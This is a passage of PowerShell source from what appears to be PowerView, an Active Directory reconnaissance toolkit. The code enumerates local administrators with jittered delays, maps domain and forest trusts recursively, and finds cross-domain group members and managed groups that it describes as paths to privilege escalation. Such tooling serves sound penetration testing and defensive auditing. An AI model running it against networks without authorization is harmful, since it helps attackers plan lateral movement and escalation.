10796 if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
10797 }
10798
10799 if($TrustGroups) {
10800
10801 Write-Verbose "Determining domain trust groups"
10802
10803 # find all group names that have one or more users in another domain
10804 $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique
10805
10806 $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object {
10807 # ignore the builtin administrators group for a DC (S-1-5-32-544)
10808 # TODO: ignore all default built in sids?
10809 Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid }
10810 }
10811
10812 # query for the primary domain controller so we can extract the domain SID for filtering
10813 $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController
10814 }
10815
10816 # script block that enumerates a server
10817 $HostEnumBlock = {
10818 param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
10819
10820 # optionally check if the server is up first
10821 $Up = $True
10822 if($Ping) {
10823 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
10824 }
10825 if($Up) {
10826 # grab the users for the local admins on this server
10827 if($API) {
10828 $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API
10829 }
10830 else {
10831 $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName
10832 }
10833
10834 # if we just want to return cross-trust users
10835 if($DomainSID) {
10836 # get the local machine SID
10837 $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$"
10838 Write-Verbose "LocalSid for $ComputerName : $LocalSID"
10839 # filter out accounts that begin with the machine SID and domain SID
10840 # but preserve any groups that have users across a trust ($TrustGroupSIDS)
10841 $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) }
10842 }
10843
10844 if($DomainOnly) {
10845 $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain}
10846 }
10847
10848 if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {
10849 # output the results to a csv if specified
10850 if($OutFile) {
10851 $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile
10852 }
10853 else {
10854 # otherwise return the user objects
10855 $LocalAdmins
10856 }
10857 }
10858 else {
10859 Write-Verbose "[!] No users returned from $ComputerName"
10860 }
10861 }
10862 }
10863 }
10864
10865 process {
10866
10867 if($Threads) {
10868 Write-Verbose "Using threading with threads = $Threads"
10869
10870 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
10871 $ScriptParams = @{
10872 'Ping' = $(-not $NoPing)
10873 'OutFile' = $OutFile
10874 'DomainSID' = $DomainSID
10875 'TrustGroupsSIDs' = $TrustGroupsSIDs
10876 }
10877
10878 # kick off the threaded script block + arguments
10879 if($API) {
10880 $ScriptParams['API'] = $True
10881 }
10882
10883 if($DomainOnly) {
10884 $ScriptParams['DomainOnly'] = $True
10885 }
10886
10887 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
10888 }
10889
10890 else {
10891 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
10892 # ping all hosts in parallel
10893 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
10894 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
10895 }
10896
10897 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
10898 $Counter = 0
10899
10900 ForEach ($Computer in $ComputerName) {
10901
10902 $Counter = $Counter + 1
10903
10904 # sleep for our semi-randomized interval
10905 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
10906 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
10907
10908 $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
10909
10910 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs
10911 }
10912 }
10913 }
10914}
10915
10916
10917########################################################
10918#
10919# Domain trust functions below.
10920#
10921########################################################
10922
10923function Get-NetDomainTrust {
10924<#
10925 .SYNOPSIS
10926 Return all domain trusts for the current domain or
10927 a specified domain.
10928 .PARAMETER Domain
10929 The domain whose trusts to enumerate, defaults to the current domain.
10930 .PARAMETER DomainController
10931 Domain controller to reflect LDAP queries through.
10932 .PARAMETER ADSpath
10933 The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local".
10934 Useful for global catalog queries ;)
10935 .PARAMETER API
10936 Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts.
10937 .PARAMETER LDAP
10938 Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
10939 More likely to get around network segmentation, but not as accurate.
10940 .PARAMETER PageSize
10941 The PageSize to set for the LDAP searcher object.
10942 .EXAMPLE
10943 PS C:\> Get-NetDomainTrust
10944 Return domain trusts for the current domain using built in .NET methods.
10945 .EXAMPLE
10946 PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local"
10947 Return domain trusts for the "prod.testlab.local" domain using .NET methods
10948 .EXAMPLE
10949 PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local"
10950 Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
10951 queries, reflecting queries through the "Primary.testlab.local" domain controller,
10952 using .NET methods.
10953 .EXAMPLE
10954 PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local"
10955 Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
10956 .EXAMPLE
10957 PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local
10958 Return domain trusts reachable from the WINDOWS2 machine through API calls.
10959#>
10960
10961 [CmdletBinding()]
10962 param(
10963 [Parameter(Position=0, ValueFromPipeline=$True)]
10964 [String]
10965 $Domain,
10966
10967 [String]
10968 $DomainController,
10969
10970 [String]
10971 $ADSpath,
10972
10973 [Switch]
10974 $API,
10975
10976 [Switch]
10977 $LDAP,
10978
10979 [ValidateRange(1,10000)]
10980 [Int]
10981 $PageSize = 200,
10982
10983 [Management.Automation.PSCredential]
10984 $Credential
10985 )
10986
10987 begin {
10988 $TrustAttributes = @{
10989 [uint32]'0x00000001' = 'non_transitive'
10990 [uint32]'0x00000002' = 'uplevel_only'
10991 [uint32]'0x00000004' = 'quarantined_domain'
10992 [uint32]'0x00000008' = 'forest_transitive'
10993 [uint32]'0x00000010' = 'cross_organization'
10994 [uint32]'0x00000020' = 'within_forest'
10995 [uint32]'0x00000040' = 'treat_as_external'
10996 [uint32]'0x00000080' = 'trust_uses_rc4_encryption'
10997 [uint32]'0x00000100' = 'trust_uses_aes_keys'
10998 [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
10999 [uint32]'0x00000400' = 'pim_trust'
11000 }
11001 }
11002
11003 process {
11004
11005 if(-not $Domain) {
11006 # if not domain is specified grab the current domain
11007 $SourceDomain = (Get-NetDomain -Credential $Credential).Name
11008 }
11009 else {
11010 $SourceDomain = $Domain
11011 }
11012
11013 if($LDAP -or $ADSPath) {
11014
11015 $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath
11016
11017 $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController
11018
11019 if($TrustSearcher) {
11020
11021 $TrustSearcher.Filter = '(objectClass=trustedDomain)'
11022
11023 $Results = $TrustSearcher.FindAll()
11024 $Results | Where-Object {$_} | ForEach-Object {
11025 $Props = $_.Properties
11026 $DomainTrust = New-Object PSObject
11027
11028 $TrustAttrib = @()
11029 $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
11030
11031 $Direction = Switch ($Props.trustdirection) {
11032 0 { 'Disabled' }
11033 1 { 'Inbound' }
11034 2 { 'Outbound' }
11035 3 { 'Bidirectional' }
11036 }
11037 $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
11038 $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
11039 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
11040 $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
11041 $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
11042 $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
11043 $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
11044 $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
11045 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
11046 $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP')
11047 $DomainTrust
11048 }
11049 $Results.dispose()
11050 $TrustSearcher.dispose()
11051 }
11052 }
11053 elseif($API) {
11054 if(-not $DomainController) {
11055 $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name
11056 }
11057
11058 if($DomainController) {
11059 # arguments for DsEnumerateDomainTrusts
11060 $PtrInfo = [IntPtr]::Zero
11061
11062 # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
11063 $Flags = 63
11064 $DomainCount = 0
11065
11066 # get the trust information from the target server
11067 $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
11068
11069 # Locate the offset of the initial intPtr
11070 $Offset = $PtrInfo.ToInt64()
11071
11072 # 0 = success
11073 if (($Result -eq 0) -and ($Offset -gt 0)) {
11074
11075 # Work out how much to increment the pointer by finding out the size of the structure
11076 $Increment = $DS_DOMAIN_TRUSTS::GetSize()
11077
11078 # parse all the result structures
11079 for ($i = 0; ($i -lt $DomainCount); $i++) {
11080 # create a new int ptr at the given offset and cast the pointer as our result structure
11081 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
11082 $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
11083
11084 $Offset = $NewIntPtr.ToInt64()
11085 $Offset += $Increment
11086
11087 $SidString = ""
11088 $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
11089
11090 if($Result -eq 0) {
11091 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
11092 }
11093 else {
11094 $DomainTrust = New-Object PSObject
11095 $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain
11096 $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
11097 $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
11098 $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
11099 $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
11100 $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
11101 $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
11102 $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
11103 $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
11104 $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
11105 $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')
11106 $DomainTrust
11107 }
11108 }
11109 # free up the result buffer
11110 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
11111 }
11112 else {
11113 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
11114 }
11115 }
11116 else {
11117 Write-Verbose "Could not retrieve domain controller for $Domain"
11118 }
11119 }
11120 else {
11121 # if we're using direct domain connections through .NET
11122 $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
11123 if($FoundDomain) {
11124 $FoundDomain.GetAllTrustRelationships() | ForEach-Object {
11125 $_.PSObject.TypeNames.Add('PowerView.DomainTrust')
11126 $_
11127 }
11128 }
11129 }
11130 }
11131}
11132
11133
11134function Get-NetForestTrust {
11135<#
11136 .SYNOPSIS
11137 Return all trusts for the current forest.
11138 .PARAMETER Forest
11139 Return trusts for the specified forest.
11140 .PARAMETER Credential
11141 A [Management.Automation.PSCredential] object of alternate credentials
11142 for connection to the target domain.
11143 .EXAMPLE
11144 PS C:\> Get-NetForestTrust
11145 Return current forest trusts.
11146 .EXAMPLE
11147 PS C:\> Get-NetForestTrust -Forest "test"
11148 Return trusts for the "test" forest.
11149#>
11150
11151 [CmdletBinding()]
11152 param(
11153 [Parameter(Position=0,ValueFromPipeline=$True)]
11154 [String]
11155 $Forest,
11156
11157 [Management.Automation.PSCredential]
11158 $Credential
11159 )
11160
11161 process {
11162 $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential
11163
11164 if($FoundForest) {
11165 $FoundForest.GetAllTrustRelationships() | ForEach-Object {
11166 $_.PSObject.TypeNames.Add('PowerView.ForestTrust')
11167 $_
11168 }
11169 }
11170 }
11171}
11172
11173
11174function Find-ForeignUser {
11175<#
11176 .SYNOPSIS
11177 Enumerates users who are in groups outside of their
11178 principal domain. The -Recurse option will try to map all
11179 transitive domain trust relationships and enumerate all
11180 users who are in groups outside of their principal domain.
11181 .PARAMETER UserName
11182 Username to filter results for, wildcards accepted.
11183 .PARAMETER Domain
11184 Domain to query for users, defaults to the current domain.
11185 .PARAMETER DomainController
11186 Domain controller to reflect LDAP queries through.
11187 .PARAMETER LDAP
11188 Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
11189 More likely to get around network segmentation, but not as accurate.
11190 .PARAMETER Recurse
11191 Switch. Enumerate all user trust groups from all reachable domains recursively.
11192 .PARAMETER PageSize
11193 The PageSize to set for the LDAP searcher object.
11194 .LINK
11195 http://blog.harmj0y.net/
11196#>
11197
11198 [CmdletBinding()]
11199 param(
11200 [String]
11201 $UserName,
11202
11203 [String]
11204 $Domain,
11205
11206 [String]
11207 $DomainController,
11208
11209 [Switch]
11210 $LDAP,
11211
11212 [Switch]
11213 $Recurse,
11214
11215 [ValidateRange(1,10000)]
11216 [Int]
11217 $PageSize = 200
11218 )
11219
11220 function Get-ForeignUser {
11221 # helper used to enumerate users who are in groups outside of their principal domain
11222 param(
11223 [String]
11224 $UserName,
11225
11226 [String]
11227 $Domain,
11228
11229 [String]
11230 $DomainController,
11231
11232 [ValidateRange(1,10000)]
11233 [Int]
11234 $PageSize = 200
11235 )
11236
11237 if ($Domain) {
11238 # get the domain name into distinguished form
11239 $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC='
11240 }
11241 else {
11242 $DistinguishedDomainName = [String] ([adsi]'').distinguishedname
11243 $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'
11244 }
11245
11246 Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object {
11247 ForEach ($Membership in $_.memberof) {
11248 $Index = $Membership.IndexOf("DC=")
11249 if($Index) {
11250
11251 $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'
11252
11253 if ($GroupDomain.CompareTo($Domain)) {
11254 # if the group domain doesn't match the user domain, output
11255 $GroupName = $Membership.split(",")[0].split("=")[1]
11256 $ForeignUser = New-Object PSObject
11257 $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain
11258 $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
11259 $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
11260 $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
11261 $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership
11262 $ForeignUser
11263 }
11264 }
11265 }
11266 }
11267 }
11268
11269 if ($Recurse) {
11270 # get all rechable domains in the trust mesh and uniquify them
11271 if($LDAP -or $DomainController) {
11272 $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
11273 }
11274 else {
11275 $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
11276 }
11277
11278 ForEach($DomainTrust in $DomainTrusts) {
11279 # get the trust groups for each domain in the trust mesh
11280 Write-Verbose "Enumerating trust groups in domain $DomainTrust"
11281 Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize
11282 }
11283 }
11284 else {
11285 Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize
11286 }
11287}
11288
11289
11290function Find-ForeignGroup {
11291<#
11292 .SYNOPSIS
11293 Enumerates all the members of a given domain's groups
11294 and finds users that are not in the queried domain.
11295 The -Recurse flag will perform this enumeration for all
11296 eachable domain trusts.
11297 .PARAMETER GroupName
11298 Groupname to filter results for, wildcards accepted.
11299 .PARAMETER Domain
11300 Domain to query for groups, defaults to the current domain.
11301 .PARAMETER DomainController
11302 Domain controller to reflect LDAP queries through.
11303 .PARAMETER LDAP
11304 Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
11305 More likely to get around network segmentation, but not as accurate.
11306 .PARAMETER Recurse
11307 Switch. Enumerate all group trust users from all reachable domains recursively.
11308 .PARAMETER PageSize
11309 The PageSize to set for the LDAP searcher object.
11310 .LINK
11311 http://blog.harmj0y.net/
11312#>
11313
11314 [CmdletBinding()]
11315 param(
11316 [String]
11317 $GroupName = '*',
11318
11319 [String]
11320 $Domain,
11321
11322 [String]
11323 $DomainController,
11324
11325 [Switch]
11326 $LDAP,
11327
11328 [Switch]
11329 $Recurse,
11330
11331 [ValidateRange(1,10000)]
11332 [Int]
11333 $PageSize = 200
11334 )
11335
11336 function Get-ForeignGroup {
11337 param(
11338 [String]
11339 $GroupName = '*',
11340
11341 [String]
11342 $Domain,
11343
11344 [String]
11345 $DomainController,
11346
11347 [ValidateRange(1,10000)]
11348 [Int]
11349 $PageSize = 200
11350 )
11351
11352 if(-not $Domain) {
11353 $Domain = (Get-NetDomain).Name
11354 }
11355
11356 $DomainDN = "DC=$($Domain.Replace('.', ',DC='))"
11357 Write-Verbose "DomainDN: $DomainDN"
11358
11359 # standard group names to ignore
11360 $ExcludeGroups = @("Users", "Domain Users", "Guests")
11361
11362 # get all the groupnames for the given domain
11363 Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {
11364 # exclude common large groups
11365 -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object {
11366
11367 $GroupName = $_.samAccountName
11368
11369 $_.member | ForEach-Object {
11370 # filter for foreign SIDs in the cn field for users in another domain,
11371 # or if the DN doesn't end with the proper DN for the queried domain
11372 if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) {
11373
11374 $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
11375 $UserName = $_.split(",")[0].split("=")[1]
11376
11377 $ForeignGroupUser = New-Object PSObject
11378 $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain
11379 $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName
11380 $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain
11381 $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName
11382 $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_
11383 $ForeignGroupUser
11384 }
11385 }
11386 }
11387 }
11388
11389 if ($Recurse) {
11390 # get all rechable domains in the trust mesh and uniquify them
11391 if($LDAP -or $DomainController) {
11392 $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
11393 }
11394 else {
11395 $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
11396 }
11397
11398 ForEach($DomainTrust in $DomainTrusts) {
11399 # get the trust groups for each domain in the trust mesh
11400 Write-Verbose "Enumerating trust groups in domain $DomainTrust"
11401 Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
11402 }
11403 }
11404 else {
11405 Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
11406 }
11407}
11408
11409
11410function Find-ManagedSecurityGroups {
11411<#
11412 .SYNOPSIS
11413 This function retrieves all security groups in the domain and identifies ones that
11414 have a manager set. It also determines whether the manager has the ability to add
11415 or remove members from the group.
11416 Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>
11417 License: BSD 3-Clause
11418 .EXAMPLE
11419 PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv
11420 Store a list of all security groups with managers in group-managers.csv
11421 .DESCRIPTION
11422 Authority to manipulate the group membership of AD security groups and distribution groups
11423 can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
11424 used to delegate management authority to distribution groups, but Windows supports security groups
11425 being managed in the same way.
11426 This function searches for AD groups which have a group manager set, and determines whether that
11427 user can manipulate group membership. This could be a useful method of horizontal privilege
11428 escalation, especially if the manager can manipulate the membership of a privileged group.
11429 .LINK
11430 https://github.com/PowerShellEmpire/Empire/pull/119
11431#>
11432
11433 # Go through the list of security groups on the domain and identify those who have a manager
11434 Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {
11435
11436 # Retrieve the object that the managedBy DN refers to
11437 $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname
11438
11439 # Create a results object to store our findings
11440 $results_object = New-Object -TypeName PSObject -Property @{
11441 'GroupCN' = $_.cn
11442 'GroupDN' = $_.distinguishedname
11443 'ManagerCN' = $group_manager.cn
11444 'ManagerDN' = $group_manager.distinguishedName
11445 'ManagerSAN' = $group_manager.samaccountname
11446 'ManagerType' = ''
11447 'CanManagerWrite' = $FALSE
11448 }
11449
11450 # Determine whether the manager is a user or a group
11451 if ($group_manager.samaccounttype -eq 0x10000000) {
11452 $results_object.ManagerType = 'Group'
11453 } elseif ($group_manager.samaccounttype -eq 0x30000000) {
11454 $results_object.ManagerType = 'User'
11455 }
11456
11457 # Find the ACLs that relate to the ability to write to the group
11458 $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers
11459
11460 # Double-check that the manager
11461 if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {
11462 $results_object.CanManagerWrite = $TRUE
11463 }
11464 $results_object
11465 }
11466}
11467
11468
11469function Invoke-MapDomainTrust {
11470<#
11471 .SYNOPSIS
11472 This function gets all trusts for the current domain,
11473 and tries to get all trusts for each domain it finds.
11474 .PARAMETER LDAP
11475 Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
11476 More likely to get around network segmentation, but not as accurate.
11477 .PARAMETER DomainController
11478 Domain controller to reflect LDAP queries through.
11479 .PARAMETER PageSize
11480 The PageSize to set for the LDAP searcher object.
11481 .PARAMETER Credential
11482 A [Management.Automation.PSCredential] object of alternate credentials
11483 for connection to the target domain.
11484 .EXAMPLE
11485 PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv
11486
11487 Map all reachable domain trusts and output everything to a .csv file.
11488 .LINK
11489 http://blog.harmj0y.net/
11490#>
11491 [CmdletBinding()]
11492 param(
11493 [Switch]
11494 $LDAP,
11495
11496 [String]
11497 $DomainController,
11498
11499 [ValidateRange(1,10000)]
11500 [Int]
11501 $PageSize = 200,
11502
11503 [Management.Automation.PSCredential]
11504 $Credential
11505 )
11506
11507 # keep track of domains seen so we don't hit infinite recursion
11508 $SeenDomains = @{}
11509
11510 # our domain status tracker
11511 $Domains = New-Object System.Collections.Stack
11512
11513 # get the current domain and push it onto the stack
11514 $CurrentDomain = (Get-NetDomain -Credential $Credential).Name
11515 $Domains.push($CurrentDomain)
11516
11517 while($Domains.Count -ne 0) {
11518
11519 $Domain = $Domains.Pop()
11520
11521 # if we haven't seen this domain before
11522 if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {
11523
11524 Write-Verbose "Enumerating trusts for domain '$Domain'"
11525
11526 # mark it as seen in our list
11527 $Null = $SeenDomains.add($Domain, "")
11528
11529 try {
11530 # get all the trusts for this domain
11531 if($LDAP -or $DomainController) {
11532 $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential
11533 }
11534 else {
11535 $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential
11536 }
11537
11538 if($Trusts -isnot [System.Array]) {
11539 $Trusts = @($Trusts)
11540 }
11541
11542 # get any forest trusts, if they exist
11543 if(-not ($LDAP -or $DomainController) ) {
11544 $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential
11545 }
11546
11547 if ($Trusts) {
11548 if($Trusts -isnot [System.Array]) {
11549 $Trusts = @($Trusts)
11550 }
11551
11552 # enumerate each trust found
11553 ForEach ($Trust in $Trusts) {
11554 if($Trust.SourceName -and $Trust.TargetName) {
11555 $SourceDomain = $Trust.SourceName
11556 $TargetDomain = $Trust.TargetName
11557 $TrustType = $Trust.TrustType
11558 $TrustDirection = $Trust.TrustDirection
11559 $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1
11560
11561 # make sure we process the target
11562 $Null = $Domains.Push($TargetDomain)
11563
11564 # build the nicely-parsable custom output object
11565 $DomainTrust = New-Object PSObject
11566 $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain"
11567 $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID
11568 $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain"
11569 $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID
11570 $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType"
11571 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection"
11572 $DomainTrust.PSObject.TypeNames.Add($ObjectType)
11573 $DomainTrust
11574 }
11575 }
11576 }
11577 }
11578 catch {
11579 Write-Verbose "[!] Error: $_"
11580 }
11581 }
11582 }
11583}
11584
11585
11586########################################################
11587#
11588# Expose the Win32API functions and datastructures below
11589# using PSReflect.
11590# Warning: Once these are executed, they are baked in
11591# and can't be changed while the script is running!
11592#
11593########################################################
11594
11595$Mod = New-InMemoryModule -ModuleName Win32
11596
11597# all of the Win32 API functions we need
11598$FunctionDefinitions = @(
11599 (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
11600 (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
11601 (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
11602 (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
11603 (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
11604 (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
11605 (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
11606 (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
11607 (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
11608 (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
11609 (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
11610 (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
11611 (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
11612 (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
11613 (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
11614 (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))
11615)
11616
11617# enum used by $WTS_SESSION_INFO_1 below
11618$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
11619 Active = 0
11620 Connected = 1
11621 ConnectQuery = 2
11622 Shadow = 3
11623 Disconnected = 4
11624 Idle = 5
11625 Listen = 6
11626 Reset = 7
11627 Down = 8
11628 Init = 9
11629}
11630
